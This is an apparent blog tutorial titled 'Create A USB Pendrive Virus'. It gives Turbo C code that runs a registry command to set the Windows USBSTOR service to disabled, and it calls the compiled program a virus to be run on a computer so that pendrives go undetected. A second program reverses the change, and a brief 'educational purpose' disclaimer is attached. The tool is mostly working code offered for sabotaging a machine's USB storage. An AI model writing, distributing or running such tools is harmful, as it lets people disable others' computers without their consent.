Create A USB Pendrive Virus


Install Turbo C or C++
Open TC.exe and there write the coding
Code:
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet
\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
}
Above Line system(“…………………”); it is in one Line
Save The Above Program as usbblock.c or any other name.
Compile and Run the above Program
Congratulation you are succesfull to create the usb-pendrive Virus
Now go to drive where C is installed (Open TC folder) and then BIN ,have that usb-pendrive virus usbblock.exe to be used……….
Run that usbblock.exe in your computer to test.
Attach Pendrive to your computer usb ….OH Shit Pendrive doesn’t get detected…virus
Dont infect any other computer as it is only for educational purpose.
2-To reverse the effect of USB-Pendrive Virus (Removal of that Virus) :-
Install Turbo C or C++
Open TC.exe and there write the coding
Code:
#include<stdio.h>
void main()
{
system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\
Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
}
Above Line system(“…………………”); it is in one Line
Save The Above Program as unblockusb.c or any other name.
Compile and Run the above Program
Congratulation you are succesfull to create .exe file to unblock USB
Now go to drive where C is installed (Open TC folder) and then BIN ,have that unblockusb.exe to be used……….
Run that unblockusb.exe to reverse the effect of usbblock.exe.

0 comments: